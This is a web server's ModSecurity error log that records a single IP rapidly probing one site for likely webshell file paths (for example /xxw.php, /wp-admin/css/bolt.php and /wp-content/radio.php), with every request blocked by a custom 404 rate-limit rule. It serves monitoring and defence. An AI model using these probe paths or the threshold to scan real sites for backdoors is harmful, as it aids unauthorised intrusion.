[Sat Apr 11 09:43:36.035770 2026] [:error] [pid 35537:tid 35586] [client 72.146.3.145:30406] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "admnSB3G2uLZwbQNu20zfAAAAZM"]
[Sat Apr 11 09:43:36.754108 2026] [:error] [pid 35633:tid 35654] [client 72.146.3.145:34214] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "admnSGUQo_ah7EEEnqe97AAAANM"]
[Sat Apr 11 09:43:37.451052 2026] [:error] [pid 35633:tid 35653] [client 72.146.3.145:46940] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "admnSWUQo_ah7EEEnqe98gAAANI"]
[Sat Apr 11 09:43:38.024349 2026] [:error] [pid 35599:tid 35607] [client 72.146.3.145:22491] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "admnSud0ai377FLwoeDkswAAAIU"]
[Sat Apr 11 09:43:39.007551 2026] [:error] [pid 35537:tid 35570] [client 72.146.3.145:34200] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "admnSx3G2uLZwbQNu20ziAAAAYM"]
[Sat Apr 11 09:43:39.649318 2026] [:error] [pid 35633:tid 35637] [client 72.146.3.145:21137] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "admnS2UQo_ah7EEEnqe-BwAAAMI"]
[Sat Apr 11 09:43:40.224249 2026] [:error] [pid 35537:tid 35584] [client 72.146.3.145:56468] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "admnTB3G2uLZwbQNu20zjwAAAZE"]
[Sat Apr 11 09:43:40.825820 2026] [:error] [pid 35633:tid 35647] [client 72.146.3.145:41101] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "admnTGUQo_ah7EEEnqe-EQAAAMw"]
[Sat Apr 11 09:43:41.328383 2026] [:error] [pid 35599:tid 35617] [client 72.146.3.145:4679] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "admnTed0ai377FLwoeDk2QAAAI8"]
[Sat Apr 11 09:43:41.996636 2026] [:error] [pid 35599:tid 35608] [client 72.146.3.145:49589] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "admnTed0ai377FLwoeDk4gAAAIY"]
[Sat Apr 11 09:43:42.718637 2026] [:error] [pid 35536:tid 35563] [client 72.146.3.145:52653] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "admnTgW1nMztWbgW3ZHC_AAAAVc"]
[Sat Apr 11 09:43:43.277444 2026] [:error] [pid 35536:tid 35555] [client 72.146.3.145:15231] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "admnTwW1nMztWbgW3ZHDAQAAAU8"]
[Sat Apr 11 09:43:43.962649 2026] [:error] [pid 35599:tid 35607] [client 72.146.3.145:48052] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "admnT-d0ai377FLwoeDk8wAAAIU"]
[Sat Apr 11 09:43:44.565420 2026] [:error] [pid 35633:tid 35655] [client 72.146.3.145:4713] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "admnUGUQo_ah7EEEnqe-HQAAANQ"]
[Sat Apr 11 09:43:45.289090 2026] [:error] [pid 35633:tid 35653] [client 72.146.3.145:44622] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "admnUWUQo_ah7EEEnqe-KAAAANI"]
[Sat Apr 11 09:43:45.857161 2026] [:error] [pid 35633:tid 35652] [client 72.146.3.145:15173] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "admnUWUQo_ah7EEEnqe-NAAAANE"]
[Sat Apr 11 09:43:46.530511 2026] [:error] [pid 35633:tid 35649] [client 72.146.3.145:26244] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "admnUmUQo_ah7EEEnqe-QQAAAM4"]
[Sat Apr 11 09:43:47.152056 2026] [:error] [pid 35633:tid 35646] [client 72.146.3.145:21162] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admnU2UQo_ah7EEEnqe-SgAAAMs"]
[Sat Apr 11 09:43:47.741755 2026] [:error] [pid 35633:tid 35655] [client 72.146.3.145:44610] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admnU2UQo_ah7EEEnqe-VwAAANQ"]
[Sat Apr 11 09:43:48.616119 2026] [:error] [pid 35537:tid 35574] [client 72.146.3.145:21131] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admnVB3G2uLZwbQNu20ztgAAAYc"]
[Sat Apr 11 09:43:49.176370 2026] [:error] [pid 35536:tid 35552] [client 72.146.3.145:21170] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admnVQW1nMztWbgW3ZHDJAAAAUw"]
[Sat Apr 11 09:43:49.778585 2026] [:error] [pid 35599:tid 35606] [client 72.146.3.145:15189] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "admnVed0ai377FLwoeDlFgAAAIQ"]
[Sat Apr 11 09:43:50.382679 2026] [:error] [pid 35633:tid 35653] [client 72.146.3.145:52666] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "admnVmUQo_ah7EEEnqe-dAAAANI"]
[Sat Apr 11 09:43:50.966664 2026] [:error] [pid 35599:tid 35622] [client 72.146.3.145:21168] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "admnVud0ai377FLwoeDlKAAAAJQ"]
[Sat Apr 11 09:43:51.499996 2026] [:error] [pid 35537:tid 35578] [client 72.146.3.145:56486] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "admnVx3G2uLZwbQNu20zxQAAAYs"]
[Sat Apr 11 09:43:52.075296 2026] [:error] [pid 35599:tid 35612] [client 72.146.3.145:5004] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "admnWOd0ai377FLwoeDlWgAAAIo"]
[Sat Apr 11 09:43:52.769431 2026] [:error] [pid 35536:tid 35556] [client 72.146.3.145:15224] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "admnWAW1nMztWbgW3ZHDQwAAAVA"]
[Sat Apr 11 09:43:53.348516 2026] [:error] [pid 35537:tid 35588] [client 72.146.3.145:26272] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "admnWR3G2uLZwbQNu20z2AAAAZU"]
[Sat Apr 11 09:43:53.944943 2026] [:error] [pid 35536:tid 35540] [client 72.146.3.145:5046] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "admnWQW1nMztWbgW3ZHDSQAAAUA"]
[Sat Apr 11 09:43:54.580625 2026] [:error] [pid 35536:tid 35548] [client 72.146.3.145:4745] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "admnWgW1nMztWbgW3ZHDUgAAAUg"]
[Sat Apr 11 09:43:55.425480 2026] [:error] [pid 35537:tid 35582] [client 72.146.3.145:22607] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "admnWx3G2uLZwbQNu20z5QAAAY8"]
[Sat Apr 11 09:43:55.948690 2026] [:error] [pid 35633:tid 35657] [client 72.146.3.145:46637] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "admnW2UQo_ah7EEEnqe-lwAAANY"]
[Sat Apr 11 09:43:56.441220 2026] [:error] [pid 35633:tid 35649] [client 72.146.3.145:46634] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "admnXGUQo_ah7EEEnqe-nwAAAM4"]
[Sat Apr 11 09:43:57.119694 2026] [:error] [pid 35633:tid 35636] [client 72.146.3.145:44663] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ajax.php"] [unique_id "admnXWUQo_ah7EEEnqe-qwAAAME"]
[Sat Apr 11 09:43:57.698704 2026] [:error] [pid 35633:tid 35651] [client 72.146.3.145:4775] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ajax.php"] [unique_id "admnXWUQo_ah7EEEnqe-rwAAANA"]
[Sat Apr 11 09:43:58.345798 2026] [:error] [pid 35599:tid 35619] [client 72.146.3.145:22593] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ajax.php"] [unique_id "admnXud0ai377FLwoeDldwAAAJE"]
[Sat Apr 11 09:43:58.978096 2026] [:error] [pid 35536:tid 35560] [client 72.146.3.145:36559] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ajax.php"] [unique_id "admnXgW1nMztWbgW3ZHDdAAAAVQ"]
[Sat Apr 11 09:43:59.496944 2026] [:error] [pid 35633:tid 35657] [client 72.146.3.145:31609] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "admnX2UQo_ah7EEEnqe-zAAAANY"]
[Sat Apr 11 09:44:00.051777 2026] [:error] [pid 35633:tid 35642] [client 72.146.3.145:5015] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "admnYGUQo_ah7EEEnqe-1QAAAMc"]
[Sat Apr 11 09:44:00.669904 2026] [:error] [pid 35536:tid 35556] [client 72.146.3.145:33687] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "admnYAW1nMztWbgW3ZHDegAAAVA"]
[Sat Apr 11 09:44:01.413701 2026] [:error] [pid 35537:tid 35581] [client 72.146.3.145:4751] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "admnYR3G2uLZwbQNu20z9gAAAY4"]
[Sat Apr 11 09:44:02.014772 2026] [:error] [pid 35633:tid 35659] [client 72.146.3.145:33717] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "admnYmUQo_ah7EEEnqe-4AAAANg"]
[Sat Apr 11 09:44:02.688698 2026] [:error] [pid 35599:tid 35624] [client 72.146.3.145:28687] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "admnYud0ai377FLwoeDlpAAAAJY"]
[Sat Apr 11 09:44:03.252919 2026] [:error] [pid 35536:tid 35554] [client 72.146.3.145:31610] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "admnYwW1nMztWbgW3ZHDkgAAAU4"]
[Sat Apr 11 09:44:03.851735 2026] [:error] [pid 35633:tid 35656] [client 72.146.3.145:45831] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "admnY2UQo_ah7EEEnqe-8QAAANU"]
[Sat Apr 11 09:44:04.469643 2026] [:error] [pid 35633:tid 35657] [client 72.146.3.145:31556] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "admnZGUQo_ah7EEEnqe-9QAAANY"]
[Sat Apr 11 09:44:05.114691 2026] [:error] [pid 35633:tid 35639] [client 72.146.3.145:36761] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "admnZWUQo_ah7EEEnqe-_gAAAMQ"]
[Sat Apr 11 09:44:06.023447 2026] [:error] [pid 35599:tid 35606] [client 72.146.3.145:22615] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "admnZud0ai377FLwoeDlvwAAAIQ"]
[Sat Apr 11 09:44:06.796451 2026] [:error] [pid 35633:tid 35659] [client 72.146.3.145:36545] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "admnZmUQo_ah7EEEnqe_DgAAANg"]
[Sat Apr 11 09:44:07.513878 2026] [:error] [pid 35633:tid 35647] [client 72.146.3.145:30071] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "admnZ2UQo_ah7EEEnqe_FgAAAMw"]
[Sat Apr 11 09:44:08.145466 2026] [:error] [pid 35537:tid 35583] [client 72.146.3.145:52147] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "admnaB3G2uLZwbQNu200PwAAAZA"]
[Sat Apr 11 09:44:08.682591 2026] [:error] [pid 35537:tid 35591] [client 72.146.3.145:29349] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "admnaB3G2uLZwbQNu200RwAAAZg"]
[Sat Apr 11 09:44:09.540130 2026] [:error] [pid 35633:tid 35644] [client 72.146.3.145:13138] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "admnaWUQo_ah7EEEnqe_KQAAAMk"]
[Sat Apr 11 09:44:17.746702 2026] [:error] [pid 35599:tid 35612] [client 72.146.3.145:4771] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "admnced0ai377FLwoeDmUAAAAIo"]
[Sat Apr 11 09:44:18.320326 2026] [:error] [pid 35599:tid 35608] [client 72.146.3.145:30049] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "admncud0ai377FLwoeDmWQAAAIY"]
[Sat Apr 11 09:44:18.903784 2026] [:error] [pid 35599:tid 35616] [client 72.146.3.145:24131] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "admncud0ai377FLwoeDmXQAAAI4"]
